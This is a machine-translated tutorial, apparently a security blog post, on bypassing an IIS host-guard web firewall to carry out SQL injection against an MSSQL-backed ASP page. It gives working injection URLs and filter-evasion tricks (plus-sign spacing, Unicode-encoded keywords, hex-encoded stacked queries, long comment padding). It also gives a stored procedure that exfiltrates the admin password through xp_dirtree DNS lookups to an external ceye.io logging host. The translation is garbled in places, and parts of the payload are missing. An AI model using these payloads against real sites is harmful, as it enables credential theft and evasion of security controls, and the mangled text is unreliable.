The hex Encoding is used to bypass the host guard IIS version to continue the injection, hexiis

The hex Encoding is used to bypass the host guard IIS version to continue the injection, hexiis

Author: non-mainstream

The source code of the test file is as follows:

Add single quotes first:

Http: // 192.168.0.20/conn. asp? Id = 1% 27

Good. No error is reported. Then we continue. and 1 = 1 and 1 = 2 are blocked. At this time, we can see what the rule is, and find that each single commit is not blocked, and the combination is blocked. Well, let's work around and replace the space with +.

No longer blocked, Gogogo.

Http: // 192.168.0.20/conn. asp? Id = 1 + and + 1 = @ version check the current database version

Http: // 192.168.0.20/conn. asp? Id = 1 + and + 1 = user: view the user currently connected to the database

Http: // 192.168.0.20/conn. asp? Id = 1 + and + 1 = db_name () view the database currently connected

However, when we want to check the number of databases, we find that they are intercepted. What should I do? Around!

Http: // 192.168.0.20/conn. asp? Id = 1 + and + (SELECT + top + 1 + Name + FROM + Master... SysDatabases)

But how can this problem be solved .. Test it in sequence, and add SQL Injection keywords from left to right.

The following table shows only blocked projects.

Keywords	And	Select	Top	Name	From	Master	.	(	)
And		X
Select					X
Top
Name
From
Master
.
(

We can see that when two keywords are used to intercept only select, what will host guard intercept when we try three keywords (no select? No interception is found. Only syntax errors are reported...

Therefore, we come to the conclusion that the host guard will certainly intercept the select keyword. So the question is, does it only intercept the select keyword? What about SeLeCt? After incomplete tests, we found that the select character unicode encoding is not blocked.

Http: // 192.168.0.20/conn. asp? Id = 1 + and + % u0073 % u0065 % u006c % u0065 % u0063 % u0074

However, when we try to add three keywords at a time, the host guard intercepts them again (so tired ).

Http: // 192.168.0.20/conn. asp? Id = 1 + and + (% u0073 % u0065 % u006c % u0065 % u0063 % u0074 + top

So let's try the stored procedure?

Mssql Stored procedures are defined as follows:

Declare @ s varchar (5000) // Declare the variable @ s type to varchar (5000)

Set @ // assign a value to the @ s Variable

Exec (@ s) // execute @ s

Then, we need to try to submit declare, set, and exec in the url to see if it is blocked.

Very good. It is not intercepted, but a syntax error is prompted, which proves that we can use the stored procedure to bypass the host guard!

I wrote a stored procedure with the following content (the red font needs to be modified separately ):

Declare @ s varchar (5000), @ host varchar (5000)

Set @ s = (select password from waf_test.dbo.admin where username = 'admin ')

Set @ host = CONVERT (varchar (5000), @ s) + '. xxxx. ceye. io'; EXEC ('master.. xp_dirtre

E "\ '+ @ host +' \ foobar $ "')

I will convert this stored procedure into hex)

Bytes

So our final request is:

Http: // 192.168.0.124/conn. asp? Id = 1; declare + @ h + varchar (5000) + set + @ h = signature + exec (@ h)

Log on to dnslog and you will see that you have received 123456 subdomain name requests. Here, 123456 is the password of the admin account in the mssql database.

Of course, if there is a method, there will naturally be method 2. Open our brain holes. Since the host guard can use a very long file name to bypass the upload (similar to binary overflow), can we submit a very long url to bypass the get check here? Do it as you think of it.

Experiment process:

Mssql has a comment statement, which will not affect statement execution no matter how long it takes. So let's try.

Add a comment before the select statement.

Hey, what is this ???

Will the host Guard find the keyword and find other keywords within a certain number of digits? If so, 999 will be returned. If not, continue execution? Then I try to isolate the select statement with annotations.

I am very happy to find bypass.